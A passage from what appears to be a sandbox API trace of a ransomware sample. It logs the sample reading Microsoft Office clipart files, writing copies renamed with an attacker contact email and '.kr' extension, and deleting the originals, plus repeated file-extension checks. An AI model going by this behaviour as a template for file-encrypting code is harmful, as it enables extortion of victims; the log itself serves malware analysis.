lpNumberOfBytesWritten=0x377fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0178.239] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.239] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.239] SetEndOfFile (hFile=0x3f8) returned 1 [0178.239] CloseHandle (hObject=0x3f8) returned 1 [0178.241] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.241] SetEndOfFile (hFile=0x3f4) returned 1 [0178.245] CloseHandle (hObject=0x3f4) returned 1 [0178.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.246] lstrlenW (lpString=".doc") returned 4 [0178.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.246] lstrlenW (lpString=".docx") returned 5 [0178.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.246] lstrlenW (lpString=".pdf") returned 4 [0178.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.246] lstrlenW (lpString=".xls") returned 4 [0178.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.247] lstrlenW (lpString=".xlsx") returned 5 [0178.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.247] lstrlenW (lpString=".ppt") returned 4 [0178.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.247] lstrlenW (lpString=".zip") returned 4 [0178.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.247] lstrlenW (lpString=".rar") returned 4 [0178.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString=".bz2") returned 4 [0178.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString=".7z") returned 3 [0178.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.247] lstrlenW (lpString=".dbf") returned 4 [0178.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.247] lstrlenW (lpString=".1cd") returned 4 [0178.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.247] lstrlenW (lpString=".jpg") returned 4 [0178.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.247] lstrlenW (lpString=".doc") returned 4 [0178.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString=".docx") returned 5 [0178.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.247] lstrlenW (lpString=".pdf") returned 4 [0178.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString=".xls") returned 4 [0178.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.248] lstrlenW (lpString=".xlsx") returned 5 [0178.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.248] lstrlenW (lpString=".ppt") returned 4 [0178.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.248] lstrlenW (lpString=".zip") returned 4 [0178.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.248] lstrlenW (lpString=".rar") returned 4 [0178.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.248] lstrlenW (lpString=".bz2") returned 4 [0178.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.248] lstrlenW (lpString=".7z") returned 3 [0178.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.248] lstrlenW (lpString=".dbf") returned 4 [0178.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.248] lstrlenW (lpString=".1cd") returned 4 [0178.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0178.248] lstrlenW (lpString=".jpg") returned 4 [0178.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.248] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0178.248] lstrlenW (lpString="BD09194_.WMF") returned 12 [0178.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0178.250] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=14540) returned 1 [0178.250] CloseHandle (hObject=0x3f4) returned 1 [0178.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0178.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0178.250] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.250] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0178.251] GetLastError () returned 0x0 [0178.251] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x38cc, lpOverlapped=0x0) returned 1 [0178.253] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x38d0, lpOverlapped=0x0) returned 1 [0178.254] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.254] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.254] SetEndOfFile (hFile=0x3f8) returned 1 [0178.255] CloseHandle (hObject=0x3f8) returned 1 [0178.256] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.256] SetEndOfFile (hFile=0x3f4) returned 1 [0178.259] CloseHandle (hObject=0x3f4) returned 1 [0178.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0178.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.260] lstrlenW (lpString=".doc") returned 4 [0178.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.260] lstrlenW (lpString=".docx") returned 5 [0178.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.260] lstrlenW (lpString=".pdf") returned 4 [0178.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.260] lstrlenW (lpString=".xls") returned 4 [0178.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.260] lstrlenW (lpString=".xlsx") returned 5 [0178.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.260] lstrlenW (lpString=".ppt") returned 4 [0178.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.260] lstrlenW (lpString=".zip") returned 4 [0178.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.260] lstrlenW (lpString=".rar") returned 4 [0178.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.260] lstrlenW (lpString=".bz2") returned 4 [0178.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.260] lstrlenW (lpString=".7z") returned 3 [0178.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.261] lstrlenW (lpString=".dbf") returned 4 [0178.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.261] lstrlenW (lpString=".1cd") returned 4 [0178.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.261] lstrlenW (lpString=".jpg") returned 4 [0178.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.261] lstrlenW (lpString=".doc") returned 4 [0178.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString=".docx") returned 5 [0178.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.261] lstrlenW (lpString=".pdf") returned 4 [0178.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString=".xls") returned 4 [0178.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.261] lstrlenW (lpString=".xlsx") returned 5 [0178.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.261] lstrlenW (lpString=".ppt") returned 4 [0178.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.261] lstrlenW (lpString=".zip") returned 4 [0178.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.262] lstrlenW (lpString=".rar") returned 4 [0178.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString=".bz2") returned 4 [0178.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString=".7z") returned 3 [0178.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.262] lstrlenW (lpString=".dbf") returned 4 [0178.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.262] lstrlenW (lpString=".1cd") returned 4 [0178.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0178.262] lstrlenW (lpString=".jpg") returned 4 [0178.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.262] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0178.262] lstrlenW (lpString="BD09662_.WMF") returned 12 [0178.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0178.263] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=20554) returned 1 [0178.263] CloseHandle (hObject=0x3f4) returned 1 [0178.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0178.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0178.264] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.264] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0178.270] GetLastError () returned 0x0 [0178.270] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x504a, lpOverlapped=0x0) returned 1 [0178.603] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x5050, lpOverlapped=0x0) returned 1 [0178.605] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.605] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.605] SetEndOfFile (hFile=0x3f8) returned 1 [0178.605] CloseHandle (hObject=0x3f8) returned 1 [0178.606] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.606] SetEndOfFile (hFile=0x3f4) returned 1 [0178.610] CloseHandle (hObject=0x3f4) returned 1 [0178.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0178.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0178.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.611] lstrlenW (lpString=".doc") returned 4 [0178.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.611] lstrlenW (lpString=".docx") returned 5 [0178.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.611] lstrlenW (lpString=".pdf") returned 4 [0178.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.611] lstrlenW (lpString=".xls") returned 4 [0178.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.611] lstrlenW (lpString=".xlsx") returned 5 [0178.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.611] lstrlenW (lpString=".ppt") returned 4 [0178.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.611] lstrlenW (lpString=".zip") returned 4 [0178.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.611] lstrlenW (lpString=".rar") returned 4 [0178.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.611] lstrlenW (lpString=".bz2") returned 4 [0178.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.611] lstrlenW (lpString=".7z") returned 3 [0178.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.611] lstrlenW (lpString=".dbf") returned 4 [0178.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.612] lstrlenW (lpString=".1cd") returned 4 [0178.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.612] lstrlenW (lpString=".jpg") returned 4 [0178.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.612] lstrlenW (lpString=".doc") returned 4 [0178.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString=".docx") returned 5 [0178.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.612] lstrlenW (lpString=".pdf") returned 4 [0178.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString=".xls") returned 4 [0178.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.612] lstrlenW (lpString=".xlsx") returned 5 [0178.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.612] lstrlenW (lpString=".ppt") returned 4 [0178.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.612] lstrlenW (lpString=".zip") returned 4 [0178.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.612] lstrlenW (lpString=".rar") returned 4 [0178.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString=".bz2") returned 4 [0178.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString=".7z") returned 3 [0178.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.612] lstrlenW (lpString=".dbf") returned 4 [0178.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.613] lstrlenW (lpString=".1cd") returned 4 [0178.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0178.613] lstrlenW (lpString=".jpg") returned 4 [0178.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.613] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0178.613] lstrlenW (lpString="BD19563_.GIF") returned 12 [0178.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0178.614] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=20454) returned 1 [0178.614] CloseHandle (hObject=0x3f4) returned 1 [0178.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0178.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0178.615] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.615] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0178.616] GetLastError () returned 0x0 [0178.616] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0178.618] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0178.619] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.620] WriteFile (in: 